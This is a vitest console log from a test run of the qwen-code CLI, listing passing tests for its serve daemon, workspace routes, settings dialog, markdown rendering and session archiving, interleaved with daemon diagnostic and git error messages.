qwen serve: fast-path bootstrap failed, falling back to full startup: Serve fast path settings advanced.runtimeOutputDir must be a string.
qwen serve: fast-path bootstrap failed, falling back to full startup: Serve fast path settings security.folderTrust.enabled must be a boolean.
✓ src/serve/fast-path.test.ts (74 tests) 18228ms
✓ CLI entry import boundary > keeps the runQwenServe static source graph free of ACP runtime modules 15063ms
✓ serve fast path argument parsing > handles every yargs serve long option or explicitly falls back 624ms
✓ serve fast path argument parsing > matches yargs defaults for options materialized before runQwenServe 365ms
✓ src/ui/utils/MarkdownDisplay.test.tsx (186 tests) 23199ms
✓ > renders nothing for empty text 968ms
✓ > with 'Windows' line endings > renders a fenced code block with a language 373ms
✓ > with 'Windows' line endings > renders a fenced code block without a language 1983ms
✓ > with 'Windows' line endings > does not clip a long committed (non-pending) message 458ms
✓ > with 'Windows' line endings > clips a non-pending message when enforceHeightBudget is set (#6867) 463ms
✓ > with 'Windows' line endings > leaves a non-pending message full when enforceHeightBudget is false 556ms
✓ > with 'Windows' line endings > handles a code fence spanning the clip boundary 474ms
✓ > with 'Windows' line endings > does not stack a double cue for a math block near the clip boundary 453ms
✓ > with 'Windows' line endings > does not clip a pending message when no height budget is given 351ms
✓ > with 'Windows' line endings > renders tables correctly 375ms
✓ > with 'Windows' line endings > does not hold a pipe line inside a nested (longer) code fence 631ms
✓ > with 'Windows' line endings > keeps pipes inside markdown table math spans in the same cell 453ms
✓ > with 'Windows' line endings > reuses mermaid node labels when later edges reference node ids 301ms
✓ > with 'Windows' line endings > bounds large mermaid flowchart previews before layout 685ms
✓ > with 'Windows' line endings > renders mermaid sequence diagrams as a visual preview 357ms
✓ > with 'Unix' line endings > does not clip a long committed (non-pending) message 385ms
✓ > with 'Unix' line endings > leaves a non-pending message full when enforceHeightBudget is false 345ms
✓ > with 'Unix' line endings > bounds large mermaid flowchart previews before layout 577ms
✓ src/ui/components/SettingsDialog.test.tsx (61 tests) 42041ms
✓ SettingsDialog > Initial Rendering > should render the settings dialog with default state 1834ms
✓ SettingsDialog > Settings Navigation > should navigate down with arrow key 1966ms
✓ SettingsDialog > Settings Navigation > should navigate up with arrow key 876ms
✓ SettingsDialog > Settings Navigation > should navigate with vim keys (j/k) 676ms
✓ SettingsDialog > Settings Navigation > moves focus up through the search box to the tab bar 1054ms
✓ SettingsDialog > Settings Toggling > should toggle setting with Enter key 1585ms
✓ SettingsDialog > Settings Toggling > should not save number settings below their configured minimum 4670ms
✓ SettingsDialog > Settings Toggling > enum values > toggles enum values with the enter key 646ms
✓ SettingsDialog > Settings Toggling > enum values > loops back when reaching the end of an enum 467ms
✓ SettingsDialog > Settings Toggling > should toggle setting with Space key 430ms
✓ SettingsDialog > Settings Toggling > should handle vim mode setting specially 393ms
✓ SettingsDialog > Scope Selection > should switch between scopes 454ms
✓ SettingsDialog > Scope Selection > should reset to settings focus when scope is selected 310ms
✓ SettingsDialog > Restart Prompt > should show restart prompt for restart-required settings 463ms
✓ SettingsDialog > Restart Prompt > should handle restart request when r is pressed 410ms
✓ SettingsDialog > Settings Persistence > should persist settings across scope changes 315ms
✓ SettingsDialog > Error Handling > should handle vim mode toggle errors gracefully 422ms
✓ SettingsDialog > Complex State Management > should track modified settings correctly 747ms
✓ SettingsDialog > Complex State Management > should handle scrolling when there are many settings 1740ms
✓ SettingsDialog > VimMode Integration > should sync with VimModeContext when vim mode is toggled 784ms
✓ SettingsDialog > Specific Settings Behavior > should show correct display values for settings with different states 324ms
✓ SettingsDialog > Specific Settings Behavior > should handle immediate settings save for non-restart-required settings 473ms
✓ SettingsDialog > Specific Settings Behavior > should show restart prompt for restart-required settings 467ms
✓ SettingsDialog > Output Language > treats empty output language as auto 1219ms
✓ SettingsDialog > Keyboard Shortcuts Edge Cases > should handle rapid key presses gracefully 438ms
✓ SettingsDialog > Keyboard Shortcuts Edge Cases > should handle Ctrl+C to reset current setting to default 371ms
✓ SettingsDialog > Keyboard Shortcuts Edge Cases > should handle Ctrl+L to reset current setting to default 387ms
✓ SettingsDialog > Keyboard Shortcuts Edge Cases > should handle navigation when only one setting exists 547ms
✓ SettingsDialog > Complex User Interactions > should allow changing multiple settings without losing pending changes 972ms
✓ SettingsDialog > Complex User Interactions > should maintain state consistency during complex interactions 644ms
✓ SettingsDialog > Complex User Interactions > should handle restart workflow correctly 400ms
✓ SettingsDialog > String Settings Editing > should allow editing and committing a string setting 3983ms
✓ SettingsDialog > Config Tabs and Search > filters the settings list as the user types 733ms
✓ SettingsDialog > Config Tabs and Search > shows a hint when nothing matches the query 833ms
✓ SettingsDialog > Config Tabs and Search > allows spaces so multi-word queries can be typed 1388ms
✓ SettingsDialog > Config Tabs and Search > routes digits into the search box for non-number settings 594ms
✓ SettingsDialog > Config Tabs and Search > clears the search query on Escape before closing 1042ms
✓ SettingsDialog > Config Tabs and Search > clears the query on Escape from the list zone before closing 1030ms
✓ SettingsDialog > Config Tabs and Search > shows the data view when navigating to a non-Settings tab 755ms
✓ SettingsDialog > Snapshot Tests > should render with different scope selected (Workspace) 411ms
✓ SettingsDialog > Snapshot Tests > should render with accessibility settings enabled 320ms
✓ src/ui/components/messages/ToolMessage.test.tsx (67 tests) 8664ms
✓ > collapses text/ANSI result for completed collapsible tool 1144ms
✓ > pre-slices large non-shell string output before MaxSizedBox layout 623ms
✓ > pre-slices single-line output by visual width before MaxSizedBox layout 405ms
✓ localized badge > shows the localized display name under the zh locale 2275ms
✓ src/nonInteractive/io/BaseJsonOutputAdapter.test.ts (101 tests) 707ms
✓ src/services/insight/generators/DataProcessor.test.ts (47 tests) 1127ms
✓ src/utils/modelConfigUtils.test.ts (60 tests) 1457ms
qwen serve: POST /workspaces/:workspace/memory refused — existing file /tmp/qwen-workspace-qualified-rest-WmLJhI/secondary/QWEN.md is 17825792 bytes (cap 16777216)
✓ src/serve/workspace-qualified-rest.test.ts (34 tests) 11974ms
✓ workspace-qualified core REST > routes file reads to the workspace selected by id 1510ms
✓ workspace-qualified core REST > advertises the workspace-qualified core REST capability 332ms
✓ workspace-qualified core REST > routes file reads to the workspace selected by encoded cwd 344ms
✓ workspace-qualified core REST > allows untrusted workspace file reads but rejects non-catalog core reads 1086ms
✓ workspace-qualified core REST > routes workspace-qualified settings and rejects user scope or untrusted access 554ms
✓ workspace-qualified core REST > routes workspace-qualified permissions and rejects non-workspace scope 318ms
✓ workspace-qualified core REST > routes workspace-qualified file writes and trust-gates untrusted writes 308ms
✓ workspace-qualified core REST > routes workspace-qualified lifecycle mutations and trust-gates them 925ms
✓ workspace-qualified core REST > routes workspace-qualified MCP control through the selected runtime 427ms
✓ workspace-qualified core REST > routes workspace-qualified tool toggles and validates mutation bodies 303ms
✓ workspace-qualified core REST > routes workspace-qualified skill toggles and trust-gates writes 395ms
✓ workspace-qualified core REST > routes project agents to the selected workspace 1034ms
✓ workspace-qualified core REST > returns typed memory write errors on workspace-qualified routes 462ms
✓ src/ui/components/messages/ToolGroupMessage.test.tsx (53 tests) 3861ms
✓ > Golden Snapshots > renders single successful tool call 1075ms
✓ src/serve/channel-worker-group.test.ts (40 tests) 971ms
✓ src/ui/components/background-view/BackgroundTasksDialog.test.tsx (55 tests) 14647ms
✓ BackgroundTasksDialog > exits to list mode when the running entry being viewed flips to a terminal status 1860ms
✓ BackgroundTasksDialog > exits to list mode after cancelling the running entry being viewed in detail 359ms
✓ BackgroundTasksDialog > foreground child of a background parent cancels on the first `x` (chain-aware confirm) 507ms
✓ BackgroundTasksDialog > ignores `x` on a terminal foreground entry (no arm, no cancel call) 333ms
✓ BackgroundTasksDialog > detail-mode left clears any armed foreground cancel before exiting 426ms
✓ BackgroundTasksDialog > lets ask-user-question approvals own all keyboard input in detail mode 313ms
✓ BackgroundTasksDialog > clamps selectedIndex when entries shrink 389ms
✓ BackgroundTasksDialog > MonitorDetailBody render branches > renders Error block for failed status 555ms
✓ BackgroundTasksDialog > MonitorDetailBody render branches > renders "Stopped because" block for completed with auto-stop reason 309ms
✓ BackgroundTasksDialog > routes a workflow approval response by approvalId from detail mode 453ms
✓ BackgroundTasksDialog > subagent observability (issue #6569) > renders the newest activity in full across wrapped lines instead of truncating 349ms
✓ BackgroundTasksDialog > subagent observability (issue #6569) > still truncates non-live activity rows to one line 384ms
✓ src/serve/acp-http/workspace-qualified-acp.test.ts (42 tests) 6989ms
✓ workspace-qualified ACP (/workspaces/:workspace/acp) > routes initialize to a trusted secondary workspace by id 1661ms
✓ workspace-qualified ACP (/workspaces/:workspace/acp) > uses daemon env for parent-process setup-github without leaking into overlays 505ms
✓ workspace-qualified ACP (/workspaces/:workspace/acp) > opens and deletes a connection through qualified GET and DELETE 859ms
✓ workspace-qualified ACP (/workspaces/:workspace/acp) > updates persisted organization in the selected workspace only 328ms
✓ workspace-qualified ACP (/workspaces/:workspace/acp) > routes a WS upgrade + initialize to a trusted secondary workspace 372ms
qwen serve: DELETE /workspace/agents/"partial-target" partial — removed=project remaining=user:/tmp/qwen-serve-agents-oFEuLk/global/agents/partial-target.md
✓ src/serve/workspace-agents.test.ts (49 tests) 8154ms
✓ workspace agents routes > lists built-in agents alongside on-disk project agents 954ms
✓ workspace agents routes > round-trips complete frontmatter metadata through create, list, and detail 1249ms
✓ workspace agents routes > restores selected MCP server secrets before writing an agent 496ms
✓ workspace agents routes > updates advanced agent metadata 595ms
✓ workspace agents routes > detects no-op partial runConfig update (preserves omitted keys) 613ms
✓ workspace agents routes > detects real partial runConfig change and writes 384ms
✓ src/commands/channel/start.test.ts (31 tests) 1145ms
qwen: Skipped replay of a goal card whose condition is empty.
qwen: Skipped replay of a goal card whose condition is empty.
✓ src/acp-integration/session/history-replayer.test.ts (54 tests) 1093ms
✓ src/nonInteractive/session.test.ts (38 tests) 2080ms
✓ src/ui/components/ModelDialog.test.tsx (35 tests) 5495ms
✓ > renders the title 1149ms
✓ > shrinks visible model options to leave room for a displayed error message 315ms
✓ > shows MiniMax-M3 image + video modality and 1M context details 306ms
✓ > shows only image-generation models and stores the exact provider route 351ms
✓ src/serve/daemon-status.test.ts (39 tests) 443ms
✓ src/serve/routes/workspace-qualified-extensions.test.ts (31 tests) 11875ms
✓ extension management v2 REST > advertises extension_management_v2 but not the abandoned capability 1547ms
✓ extension management v2 REST > returns a global catalog with generation and default activation 454ms
✓ extension management v2 REST > stops request parsing after rejecting an invalid extension id 426ms
✓ extension management v2 REST > changes only the target workspace activation and refreshes its runtime 323ms
✓ extension management v2 REST > reports a post-commit failure as succeeded with warnings 640ms
✓ extension management v2 REST > reconciles runtimes when the authoritative generation rolls back 381ms
✓ extension management v2 REST > times out a legacy update check while its cache refresh stalls 1807ms
✓ extension management v2 REST > reports legacy global mutations as applied after runtime reconciliation 864ms
✓ extension management v2 REST > reports legacy workspace activation mutations as applied immediately 426ms
✓ extension management v2 REST > does not expose workspace-qualified install/update/uninstall routes 427ms
✓ src/ui/hooks/useStatusLine.test.ts (71 tests) 19431ms
✓ useStatusLine > config validation > renders the default preset when no statusLine config is set 494ms
✓ src/nonInteractiveCliCommands.test.ts (47 tests) 1006ms
✓ src/ui/commands/statsCommand.test.ts (39 tests) 2791ms
✓ statsCommand > should open stats dialog when run with no subcommand in interactive mode 531ms
✓ src/commands/review/pr-context.test.ts (65 tests) 888ms
✓ src/serve/workspace-remember.test.ts (36 tests) 11131ms
✓ workspace memory remember routes > routes qualified remember tasks to the selected workspace lane 2674ms
✓ workspace memory remember routes > validates content, contextMode, client id, and unknown task ids 1120ms
✓ workspace memory remember routes > rejects new tasks when the hidden remember queue is full 788ms
✓ workspace memory remember routes > reserves queue capacity for remember tasks when forget and dream burst 465ms
✓ workspace memory remember routes > runs hidden remember tasks serially within the remember lane 1124ms
✓ workspace memory remember routes > records bridge failures with stable public error codes 332ms
findings: 1 total — 0 Critical, 1 Suggestion, 0 Nice to have; 0 low-confidence. Wrote /tmp/review-findings-FpIxMC/findings.json
findings: f1 held back from Critical — test-delta measured packages/cli/src/ui/auth/AuthDialog.test.tsx as failing on the merge base too
findings: 1 total — 1 Critical, 0 Suggestion, 0 Nice to have; 0 low-confidence. Wrote /tmp/review-findings-ZUbBqh/findings.json
findings: no holds applied — The test-delta file at "/tmp/review-findings-qKIJiT/bad.json" is not valid JSON: Unexpected end of JSON input
findings: 1 total — 1 Critical, 0 Suggestion, 0 Nice to have; 0 low-confidence. Wrote /tmp/review-findings-qKIJiT/findings.json
findings: 1 total — 0 Critical, 1 Suggestion, 0 Nice to have; 0 low-confidence. Wrote /tmp/review-findings-FWD5JD/a.json
findings: R1-1 held back from Critical — test-delta measured packages/cli/src/ui/auth/AuthDialog.test.tsx as failing on the merge base too
findings: 1 total — 0 Critical, 1 Suggestion, 0 Nice to have; 0 low-confidence. Wrote /tmp/review-findings-FWD5JD/b.json
findings: R1-1 held back from Critical — test-delta measured packages/cli/src/ui/auth/AuthDialog.test.tsx as failing on the merge base too
outcomes: 1 fixed, 0 skipped, 0 no change needed
findings: 1 total — 1 Critical, 0 Suggestion, 0 Nice to have; 0 low-confidence. Wrote /tmp/review-findings-yi45IM/nested/deeper/findings.json
findings: 1 total — 1 Critical, 0 Suggestion, 0 Nice to have; 0 low-confidence. Wrote /tmp/review-findings-InzIPp/nested/deeper/findings.json
findings: 2 total — 1 Critical, 1 Suggestion, 0 Nice to have; 0 low-confidence. Wrote /tmp/review-findings-Z57vPN/nested/deeper/findings.json
outcomes: 1 fixed, 1 skipped, 0 no change needed
✓ src/commands/review/findings.test.ts (84 tests) 1332ms
✓ src/commands/review/build-test.test.ts (37 tests) 1501ms
✓ runBuildTest > reorders when two affected packages have an undeclared source-reach 377ms
✓ src/utils/settingsUtils.test.ts (83 tests) 1456ms
✓ src/nonInteractive/io/StreamJsonOutputAdapter.test.ts (54 tests) 533ms
2026-09-11T23:57:58.964Z [ERROR] [DAEMON] route=POST /x route failed
Error: boom
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/daemon-logger.test.ts:325:17
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
2026-09-11T23:57:59.205Z [INFO] [DAEMON] msg-0
2026-09-11T23:57:59.206Z [INFO] [DAEMON] msg-1
2026-09-11T23:57:59.206Z [INFO] [DAEMON] msg-2
2026-09-11T23:57:59.206Z [INFO] [DAEMON] msg-3
2026-09-11T23:57:59.207Z [INFO] [DAEMON] msg-4
2026-09-11T23:57:59.207Z [INFO] [DAEMON] msg-5
2026-09-11T23:57:59.207Z [INFO] [DAEMON] msg-6
2026-09-11T23:57:59.207Z [INFO] [DAEMON] msg-7
2026-09-11T23:57:59.207Z [INFO] [DAEMON] msg-8
2026-09-11T23:57:59.208Z [INFO] [DAEMON] msg-9
2026-09-11T23:57:59.208Z [INFO] [DAEMON] msg-10
2026-09-11T23:57:59.208Z [INFO] [DAEMON] msg-11
2026-09-11T23:57:59.209Z [INFO] [DAEMON] msg-12
2026-09-11T23:57:59.209Z [INFO] [DAEMON] msg-13
2026-09-11T23:57:59.209Z [INFO] [DAEMON] msg-14
2026-09-11T23:57:59.209Z [INFO] [DAEMON] msg-15
2026-09-11T23:57:59.210Z [INFO] [DAEMON] msg-16
2026-09-11T23:57:59.210Z [INFO] [DAEMON] msg-17
2026-09-11T23:57:59.211Z [INFO] [DAEMON] msg-18
2026-09-11T23:57:59.211Z [INFO] [DAEMON] msg-19
2026-09-11T23:57:59.211Z [INFO] [DAEMON] msg-20
2026-09-11T23:57:59.211Z [INFO] [DAEMON] msg-21
2026-09-11T23:57:59.212Z [INFO] [DAEMON] msg-22
2026-09-11T23:57:59.212Z [INFO] [DAEMON] msg-23
2026-09-11T23:57:59.212Z [INFO] [DAEMON] msg-24
2026-09-11T23:57:59.212Z [INFO] [DAEMON] msg-25
2026-09-11T23:57:59.212Z [INFO] [DAEMON] msg-26
2026-09-11T23:57:59.212Z [INFO] [DAEMON] msg-27
2026-09-11T23:57:59.213Z [INFO] [DAEMON] msg-28
2026-09-11T23:57:59.213Z [INFO] [DAEMON] msg-29
2026-09-11T23:57:59.213Z [INFO] [DAEMON] msg-30
2026-09-11T23:57:59.214Z [INFO] [DAEMON] msg-31
2026-09-11T23:57:59.214Z [INFO] [DAEMON] msg-32
2026-09-11T23:57:59.214Z [INFO] [DAEMON] msg-33
2026-09-11T23:57:59.215Z [INFO] [DAEMON] msg-34
2026-09-11T23:57:59.215Z [INFO] [DAEMON] msg-35
2026-09-11T23:57:59.215Z [INFO] [DAEMON] msg-36
2026-09-11T23:57:59.216Z [INFO] [DAEMON] msg-37
2026-09-11T23:57:59.216Z [INFO] [DAEMON] msg-38
2026-09-11T23:57:59.216Z [INFO] [DAEMON] msg-39
2026-09-11T23:57:59.216Z [INFO] [DAEMON] msg-40
2026-09-11T23:57:59.217Z [INFO] [DAEMON] msg-41
2026-09-11T23:57:59.217Z [INFO] [DAEMON] msg-42
2026-09-11T23:57:59.217Z [INFO] [DAEMON] msg-43
2026-09-11T23:57:59.217Z [INFO] [DAEMON] msg-44
2026-09-11T23:57:59.217Z [INFO] [DAEMON] msg-45
2026-09-11T23:57:59.218Z [INFO] [DAEMON] msg-46
2026-09-11T23:57:59.218Z [INFO] [DAEMON] msg-47
2026-09-11T23:57:59.218Z [INFO] [DAEMON] msg-48
2026-09-11T23:57:59.218Z [INFO] [DAEMON] msg-49
qwen serve: daemon stable log is owned by another daemon instance; using a fallback log for runId=22222222222222222222222222222222
✓ src/serve/daemon-logger.test.ts (46 tests) 3317ms
✓ initDaemonLogger bounded storage > releases stable ownership after a failed stable boot probe 479ms
✓ src/cli.test.ts (53 tests) 34626ms
✓ runCliEntry > prints top-level help without loading the full CLI graph 623ms
✓ bootstrap import boundaries > publishes the daemon compile cache without overriding user policy 5812ms
✓ bootstrap import boundaries > reloads the CLI through a stable shim after an update 3626ms
✓ bootstrap import boundaries > does not pass the standalone launcher hint to child processes 1723ms
✓ bootstrap import boundaries > ignores malformed relaunch args in the npm bin wrapper 963ms
✓ bootstrap import boundaries > prints CLI_VERSION from the npm bin wrapper version shortcut 710ms
✓ bootstrap import boundaries > reads package.json from the npm bin wrapper version shortcut 965ms
✓ bootstrap import boundaries > resolves and pins managed updates from the configured home 17720ms
✓ bootstrap import boundaries > falls through to cli.js when wrapper package.json lookup fails 1019ms
✓ src/ui/components/shared/vim-buffer-actions.test.ts (74 tests) 651ms
qwen serve: createServeApp default fsFactory uses trusted=false — agent ACP writeTextFile calls will reject with untrusted_workspace. Inject deps.fsFactory (with explicit trust) or deps.bridge to override.
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
✓ src/serve/routes/workspace-voice.test.ts (37 tests) 12664ms
✓ workspace voice routes > GET returns voice status and selectable ASR models without secrets 1786ms
✓ workspace voice routes > POST updates voice settings only after validating the resulting state 516ms
✓ workspace voice routes > POST writes unknown-trust workspace voice opt-in settings to user scope 787ms
✓ workspace voice routes > POST /workspace/voice/transcribe accepts binary audio and delegates transcription 1183ms
✓ workspace voice routes > POST /workspace/voice/transcribe rejects audio over 10 MB 977ms
✓ workspace voice routes > POST /workspace/voice/transcribe redacts unexpected ASR errors 665ms
✓ workspace voice routes > aborts a slow upload and releases its lease before transcription starts 555ms
✓ workspace voice routes > retains the lease after disconnect until transcription cleanup settles 458ms
✓ workspace voice routes > POST /workspace/voice/transcribe rejects unsupported content types 307ms
✓ src/ui/commands/exportCommand.test.ts (40 tests) 1261ms
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440002"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440002"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440050"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440050"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=2 requestedIds=["550e8400-e29b-41d4-a716-446655440003","550e8400-e29b-41d4-a716-446655440004"] archived=0 archivedIds=[] alreadyArchived=1 alreadyArchivedIds=["550e8400-e29b-41d4-a716-446655440003"] notFound=1 notFoundIds=["550e8400-e29b-41d4-a716-446655440004"] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440005"] archived=0 archivedIds=[] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440005":"This session is already open in another Qwen process."]
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440005"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440005"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=2 requestedIds=["550e8400-e29b-41d4-a716-446655440008","550e8400-e29b-41d4-a716-446655440009"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440009"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440008":"This session is already open in another Qwen process."]
qwen serve: sessions archive result requested=2 requestedIds=["550e8400-e29b-41d4-a716-446655440023","550e8400-e29b-41d4-a716-446655440024"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440023"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440024":"Session \"550e8400-e29b-41d4-a716-446655440024\" is being archived or unarchived;]
qwen serve: sessions archive result requested=2 requestedIds=["550e8400-e29b-41d4-a716-446655440019","550e8400-e29b-41d4-a716-446655440020"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440020"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440019":"classification failed"]
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440017"] archived=0 archivedIds=[] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440017":"agent flush failed"]
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440010"] archived=0 archivedIds=[] alreadyArchived=1 alreadyArchivedIds=["550e8400-e29b-41d4-a716-446655440010"] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440016"] archived=0 archivedIds=[] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440016":"Session archive conflict: 550e8400-e29b-41d4-a716-446655440016"]
qwen serve: session maintenance lease release failed action=archive workspace="/tmp/qwen-workspace-Z4B1c6" session="550e8400-e29b-41d4-a716-446655440006" errorKind="session_writer_lost" mutationApplied=true
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440006"] archived=0 archivedIds=[] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440006":"Write ownership for this session was lost."]
qwen serve: scheduled task lifecycle update failed action=archive workspace="/tmp/qwen-workspace-K0edtc" session="550e8400-e29b-41d4-a716-446655440018" error="EISDIR: illegal operation on a directory, read '/tmp/qwen-archive-test-GlltCq/tmp
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440018"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440018"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440007"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440007"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions unarchive result requested=3 requestedIds=["550e8400-e29b-41d4-a716-446655440011","550e8400-e29b-41d4-a716-446655440012","550e8400-e29b-41d4-a716-446655440013"] unarchived=1 unarchivedIds=["550e8400-e29b-41d4-a716-446655440011"] alreadyActive=1 alreadyActiveIds=["550e8400-e29b-41d4-a716-446655440012"] notFound=1 notFoundIds=["550e8400-e29b-41d4-a716-446655440013"] errors=0 errorIds=[]
qwen serve: sessions unarchive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440015"] unarchived=0 unarchivedIds=[] alreadyActive=0 alreadyActiveIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440015":"This session is already open in another Qwen process."]
qwen serve: sessions unarchive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440014"] unarchived=0 unarchivedIds=[] alreadyActive=0 alreadyActiveIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440014":"unarchive failed"]
qwen serve: sessions unarchive result requested=2 requestedIds=["550e8400-e29b-41d4-a716-446655440021","550e8400-e29b-41d4-a716-446655440022"] unarchived=1 unarchivedIds=["550e8400-e29b-41d4-a716-446655440022"] alreadyActive=0 alreadyActiveIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440021":"classification failed"]
qwen serve: sessions unarchive result requested=2 requestedIds=["550e8400-e29b-41d4-a716-446655440025","550e8400-e29b-41d4-a716-446655440026"] unarchived=1 unarchivedIds=["550e8400-e29b-41d4-a716-446655440025"] alreadyActive=0 alreadyActiveIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440026":"Session \"550e8400-e29b-41d4-a716-446655440026\" is being archived or unarchived;]
qwen serve: sessions unarchive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440060"] unarchived=1 unarchivedIds=["550e8400-e29b-41d4-a716-446655440060"] alreadyActive=0 alreadyActiveIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions unarchive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440062"] unarchived=0 unarchivedIds=[] alreadyActive=1 alreadyActiveIds=["550e8400-e29b-41d4-a716-446655440062"] notFound=0 notFoundIds=[] errors=0 errorIds=[]
✓ src/serve/server/session-archive.test.ts (43 tests) 2163ms
✓ assertSessionLoadable > rejects archived sessions using project-aware JSONL heads 491ms
✓ src/acp-integration/session/emitters/tool-call-emitter.test.ts (62 tests) 880ms
✓ src/acp-integration/service/filesystem.test.ts (31 tests) 1048ms
fatal: not a git repository (or any parent up to mount point /)
Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).
fatal: not a git repository (or any parent up to mount point /)
Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).
fatal: not a git repository (or any parent up to mount point /)
Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).
fatal: not a git repository (or any parent up to mount point /)
